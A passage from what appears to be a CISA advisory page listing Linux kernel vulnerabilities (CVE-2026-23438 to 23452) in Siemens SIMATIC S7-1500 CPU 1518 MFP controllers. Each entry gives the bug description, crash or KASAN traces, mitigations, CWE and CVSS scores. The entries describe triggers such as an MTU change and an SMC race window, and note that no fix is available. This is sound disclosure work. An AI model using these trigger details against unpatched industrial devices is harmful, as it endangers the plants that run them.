<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/820.html">CWE-820 Missing Synchronization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23438</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: mvpp2: guard flow control update with global_tx_fc in buffer switching mvpp2_bm_switch_buffers() unconditionally calls mvpp2_bm_pool_update_priv_fc() when switching between per-cpu and shared buffer pool modes. This function programs CM3 flow control registers via mvpp2_cm3_read()/mvpp2_cm3_write(), which dereference priv-&gt;cm3_base without any NULL check. When the CM3 SRAM resource is not present in the device tree (the third reg entry added by commit 60523583b07c ("dts: marvell: add CM3 SRAM memory to cp11x ethernet device tree")), priv-&gt;cm3_base remains NULL and priv-&gt;global_tx_fc is false. Any operation that triggers mvpp2_bm_switch_buffers(), for example an MTU change that crosses the jumbo frame threshold, will crash: Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000 Mem abort info: ESR = 0x0000000096000006 EC = 0x25: DABT (current EL), IL = 32 bits pc : readl+0x0/0x18 lr : mvpp2_cm3_read.isra.0+0x14/0x20 Call trace: readl+0x0/0x18 mvpp2_bm_pool_update_fc+0x40/0x12c mvpp2_bm_pool_update_priv_fc+0x94/0xd8 mvpp2_bm_switch_buffers.isra.0+0x80/0x1c0 mvpp2_change_mtu+0x140/0x380 __dev_set_mtu+0x1c/0x38 dev_set_mtu_ext+0x78/0x118 dev_set_mtu+0x48/0xa8 dev_ifsioc+0x21c/0x43c dev_ioctl+0x2d8/0x42c sock_ioctl+0x314/0x378 Every other flow control call site in the driver already guards hardware access with either priv-&gt;global_tx_fc or port-&gt;tx_fc. mvpp2_bm_switch_buffers() is the only place that omits this check. Add the missing priv-&gt;global_tx_fc guard to both the disable and re-enable calls in mvpp2_bm_switch_buffers(), consistent with the rest of the driver.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23438">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23439</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n When CONFIG_IPV6 is disabled, the udp_sock_create6() function returns 0 (success) without actually creating a socket. Callers such as fou_create() then proceed to dereference the uninitialized socket pointer, resulting in a NULL pointer dereference. The captured NULL deref crash: BUG: kernel NULL pointer dereference, address: 0000000000000018 RIP: 0010:fou_nl_add_doit (net/ipv4/fou_core.c:590 net/ipv4/fou_core.c:764) [...] Call Trace: genl_family_rcv_msg_doit.constprop.0 (net/netlink/genetlink.c:1114) genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209) [...] netlink_rcv_skb (net/netlink/af_netlink.c:2550) genl_rcv (net/netlink/genetlink.c:1219) netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sock_sendmsg (net/socket.c:727 (discriminator 1) net/socket.c:742 (discriminator 1)) __sys_sendto (./include/linux/file.h:62 (discriminator 1) ./include/linux/file.h:83 (discriminator 1) net/socket.c:2183 (discriminator 1)) __x64_sys_sendto (net/socket.c:2213 (discriminator 1) net/socket.c:2209 (discriminator 1) net/socket.c:2209 (discriminator 1)) do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1)) entry_SYSCALL_64_after_hwframe (net/arch/x86/entry/entry_64.S:130) This patch makes udp_sock_create6 return -EPFNOSUPPORT instead, so callers correctly take their error paths. There is only one caller of the vulnerable function and only privileged users can trigger it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23439">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23446</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: aqc111: Do not perform PM inside suspend callback syzbot reports "task hung in rpm_resume" This is caused by aqc111_suspend calling the PM variant of its write_cmd routine. The simplified call trace looks like this: rpm_suspend() usb_suspend_both() - here udev-&gt;dev.power.runtime_status == RPM_SUSPENDING aqc111_suspend() - called for the usb device interface aqc111_write32_cmd() usb_autopm_get_interface() pm_runtime_resume_and_get() rpm_resume() - here we call rpm_resume() on our parent rpm_resume() - Here we wait for a status change that will never happen. At this point we block another task which holds rtnl_lock and locks up the whole networking stack. Fix this by replacing the write_cmd calls with their _nopm variants</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23446">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/833.html">CWE-833 Deadlock</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23449</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: teql: Fix double-free in teql_master_xmit Whenever a TEQL devices has a lockless Qdisc as root, qdisc_reset should be called using the seq_lock to avoid racing with the datapath. Failure to do so may cause crashes like the following: [ 238.028993][ T318] BUG: KASAN: double-free in skb_release_data (net/core/skbuff.c:1139) [ 238.029328][ T318] Free of addr ffff88810c67ec00 by task poc_teql_uaf_ke/318 [ 238.029749][ T318] [ 238.029900][ T318] CPU: 3 UID: 0 PID: 318 Comm: poc_teql_ke Not tainted 7.0.0-rc3-00149-ge5b31d988a41 #704 PREEMPT(full) [ 238.029906][ T318] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 238.029910][ T318] Call Trace: [ 238.029913][ T318] [ 238.029916][ T318] dump_stack_lvl (lib/dump_stack.c:122) [ 238.029928][ T318] print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) [ 238.029940][ T318] ? skb_release_data (net/core/skbuff.c:1139) [ 238.029944][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) ... [ 238.029957][ T318] ? skb_release_data (net/core/skbuff.c:1139) [ 238.029969][ T318] kasan_report_invalid_free (mm/kasan/report.c:221 mm/kasan/report.c:563) [ 238.029979][ T318] ? skb_release_data (net/core/skbuff.c:1139) [ 238.029989][ T318] check_slab_allocation (mm/kasan/common.c:231) [ 238.029995][ T318] kmem_cache_free (mm/slub.c:2637 (discriminator 1) mm/slub.c:6168 (discriminator 1) mm/slub.c:6298 (discriminator 1)) [ 238.030004][ T318] skb_release_data (net/core/skbuff.c:1139) ... [ 238.030025][ T318] sk_skb_reason_drop (net/core/skbuff.c:1256) [ 238.030032][ T318] pfifo_fast_reset (./include/linux/ptr_ring.h:171 ./include/linux/ptr_ring.h:309 ./include/linux/skb_array.h:98 net/sched/sch_generic.c:827) [ 238.030039][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) ... [ 238.030054][ T318] qdisc_reset (net/sched/sch_generic.c:1034) [ 238.030062][ T318] teql_destroy (./include/linux/spinlock.h:395 net/sched/sch_teql.c:157) [ 238.030071][ T318] __qdisc_destroy (./include/net/pkt_sched.h:328 net/sched/sch_generic.c:1077) [ 238.030077][ T318] qdisc_graft (net/sched/sch_api.c:1062 net/sched/sch_api.c:1053 net/sched/sch_api.c:1159) [ 238.030089][ T318] ? __pfx_qdisc_graft (net/sched/sch_api.c:1091) [ 238.030095][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 238.030102][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 238.030106][ T318] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 238.030114][ T318] tc_get_qdisc (net/sched/sch_api.c:1529 net/sched/sch_api.c:1556) ... [ 238.072958][ T318] Allocated by task 303 on cpu 5 at 238.026275s: [ 238.073392][ T318] kasan_save_stack (mm/kasan/common.c:58) [ 238.073884][ T318] kasan_save_track (mm/kasan/common.c:64 (discriminator 5) mm/kasan/common.c:79 (discriminator 5)) [ 238.074230][ T318] __kasan_slab_alloc (mm/kasan/common.c:369) [ 238.074578][ T318] kmem_cache_alloc_node_noprof (./include/linux/kasan.h:253 mm/slub.c:4542 mm/slub.c:4869 mm/slub.c:4921) [ 238.076091][ T318] kmalloc_reserve (net/core/skbuff.c:616 (discriminator 107)) [ 238.076450][ T318] __alloc_skb (net/core/skbuff.c:713) [ 238.076834][ T318] alloc_skb_with_frags (./include/linux/skbuff.h:1383 net/core/skbuff.c:6763) [ 238.077178][ T318] sock_alloc_send_pskb (net/core/sock.c:2997) [ 238.077520][ T318] packet_sendmsg (net/packet/af_packet.c:2926 net/packet/af_packet.c:3019 net/packet/af_packet.c:3108) [ 238.081469][ T318] [ 238.081870][ T318] Freed by task 299 on cpu 1 at 238.028496s: [ 238.082761][ T318] kasan_save_stack (mm/kasan/common.c:58) [ 238.083481][ T318] kasan_save_track (mm/kasan/common.c:64 (discriminator 5) mm/kasan/common.c:79 (discriminator 5)) [ 238.085348][ T318] kasan_save_free_info (mm/kasan/generic.c:587 (discriminator 1)) [ 238.085900][ T318] __kasan_slab_free (mm/ ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23449">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23450</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/smc: fix NULL dereference and UAF in smc_tcp_syn_recv_sock() Syzkaller reported a panic in smc_tcp_syn_recv_sock() [1]. smc_tcp_syn_recv_sock() is called in the TCP receive path (softirq) via icsk_af_ops-&gt;syn_recv_sock on the clcsock (TCP listening socket). It reads sk_user_data to get the smc_sock pointer. However, when the SMC listen socket is being closed concurrently, smc_close_active() sets clcsock-&gt;sk_user_data to NULL under sk_callback_lock, and then the smc_sock itself can be freed via sock_put() in smc_release(). This leads to two issues: 1) NULL pointer dereference: sk_user_data is NULL when accessed. 2) Use-after-free: sk_user_data is read as non-NULL, but the smc_sock is freed before its fields (e.g., queued_smc_hs, ori_af_ops) are accessed. The race window looks like this (the syzkaller crash [1] triggers via the SYN cookie path: tcp_get_cookie_sock() -&gt; smc_tcp_syn_recv_sock(), but the normal tcp_check_req() path has the same race): CPU A (softirq) CPU B (process ctx) tcp_v4_rcv() TCP_NEW_SYN_RECV: sk = req-&gt;rsk_listener sock_hold(sk) /* No lock on listener */ smc_close_active(): write_lock_bh(cb_lock) sk_user_data = NULL write_unlock_bh(cb_lock) ... smc_clcsock_release() sock_put(smc-&gt;sk) x2 -&gt; smc_sock freed! tcp_check_req() smc_tcp_syn_recv_sock(): smc = user_data(sk) -&gt; NULL or dangling smc-&gt;queued_smc_hs -&gt; crash! Note that the clcsock and smc_sock are two independent objects with separate refcounts. TCP stack holds a reference on the clcsock, which keeps it alive, but this does NOT prevent the smc_sock from being freed. Fix this by using RCU and refcount_inc_not_zero() to safely access smc_sock. Since smc_tcp_syn_recv_sock() is called in the TCP three-way handshake path, taking read_lock_bh on sk_callback_lock is too heavy and would not survive a SYN flood attack. Using rcu_read_lock() is much more lightweight. - Set SOCK_RCU_FREE on the SMC listen socket so that smc_sock freeing is deferred until after the RCU grace period. This guarantees the memory is still valid when accessed inside rcu_read_lock(). - Use rcu_read_lock() to protect reading sk_user_data. - Use refcount_inc_not_zero(&amp;smc-&gt;sk.sk_refcnt) to pin the smc_sock. If the refcount has already reached zero (close path completed), it returns false and we bail out safely. Note: smc_hs_congested() has a similar lockless read of sk_user_data without rcu_read_lock(), but it only checks for NULL and accesses the global smc_hs_wq, never dereferencing any smc_sock field, so it is not affected. Reproducer was verified with mdelay injection and smc_run, the issue no longer occurs with this patch applied. [1] https://syzkaller.appspot.com/bug?extid=827ae2bfb3a3529333e9</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23450">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23452</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: PM: runtime: Fix a race condition related to device removal The following code in pm_runtime_work() may dereference the dev-&gt;parent pointer after the parent device has been freed: /* Maybe the parent is now able to suspend. */ if (parent &amp;&amp; !parent-&gt;power.ignore_children) { spin_unlock(&amp;dev-&gt;power.lock); spin_lock(&amp;parent-&gt;power.lock); rpm_idle(parent, RPM_ASYNC); spin_unlock(&amp;parent-&gt;power.lock); spin_lock(&amp;dev-&gt;power.lock); } Fix this by inserting a flush_work() call in pm_runtime_remove(). Without this patch blktest block/001 triggers the following complaint sporadically: BUG: KASAN: slab-use-after-free in lock_acquire+0x70/0x160 Read of size 1 at addr ffff88812bef7198 by task kworker/u553:1/3081 Workqueue: pm pm_runtime_work Call Trace: dump_stack_lvl+0x61/0x80 print_address_description.constprop.0+0x8b/0x310 print_report+0xfd/0x1d7 kasan_report+0xd8/0x1d0 __kasan_check_byte+0x42/0x60 lock_acquire.part.0+0x38/0x230 lock_acquire+0x70/0x160 _raw_spin_lock+0x36/0x50 rpm_suspend+0xc6a/0xfe0 rpm_idle+0x578/0x770 pm_runtime_work+0xee/0x120 process_one_work+0xde3/0x1410 worker_thread+0x5eb/0xfe0 kthread+0x37b/0x480 ret_from_fork+0x6cb/0x920 ret_from_fork_asm+0x11/0x20 Allocated by task 4314: kasan_save_stack+0x2a/0x50 kasan_save_track+0x18/0x40 kasan_save_alloc_info+0x3d/0x50 __kasan_kmalloc+0xa0/0xb0 __kmalloc_noprof+0x311/0x990 scsi_alloc_target+0x122/0xb60 [scsi_mod] __scsi_scan_target+0x101/0x460 [scsi_mod] scsi_scan_channel+0x179/0x1c0 [scsi_mod] scsi_scan_host_selected+0x259/0x2d0 [scsi_mod] store_scan+0x2d2/0x390 [scsi_mod] dev_attr_store+0x43/0x80 sysfs_kf_write+0xde/0x140 kernfs_fop_write_iter+0x3ef/0x670 vfs_write+0x506/0x1470 ksys_write+0xfd/0x230 __x64_sys_write+0x76/0xc0 x64_sys_call+0x213/0x1810 do_syscall_64+0xee/0xfc0 entry_SYSCALL_64_after_hwframe+0x4b/0x53 Freed by task 4314: kasan_save_stack+0x2a/0x50 kasan_save_track+0x18/0x40 kasan_save_free_info+0x3f/0x50 __kasan_slab_free+0x67/0x80 kfree+0x225/0x6c0 scsi_target_dev_release+0x3d/0x60 [scsi_mod] device_release+0xa3/0x220 kobject_cleanup+0x105/0x3a0 kobject_put+0x72/0xd0 put_device+0x17/0x20 scsi_device_dev_release+0xacf/0x12c0 [scsi_mod] device_release+0xa3/0x220 kobject_cleanup+0x105/0x3a0 kobject_put+0x72/0xd0 put_device+0x17/0x20 scsi_device_put+0x7f/0xc0 [scsi_mod] sdev_store_delete+0xa5/0x120 [scsi_mod] dev_attr_store+0x43/0x80 sysfs_kf_write+0xde/0x140 kernfs_fop_write_iter+0x3ef/0x670 vfs_write+0x506/0x1470 ksys_write+0xfd/0x230 __x64_sys_write+0x76/0xc0 x64_sys_call+0x213/0x1810</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23452">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/364.html">CWE-364 Signal Handler Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23454</a></h3>
<div class="csaf-accordion-content">
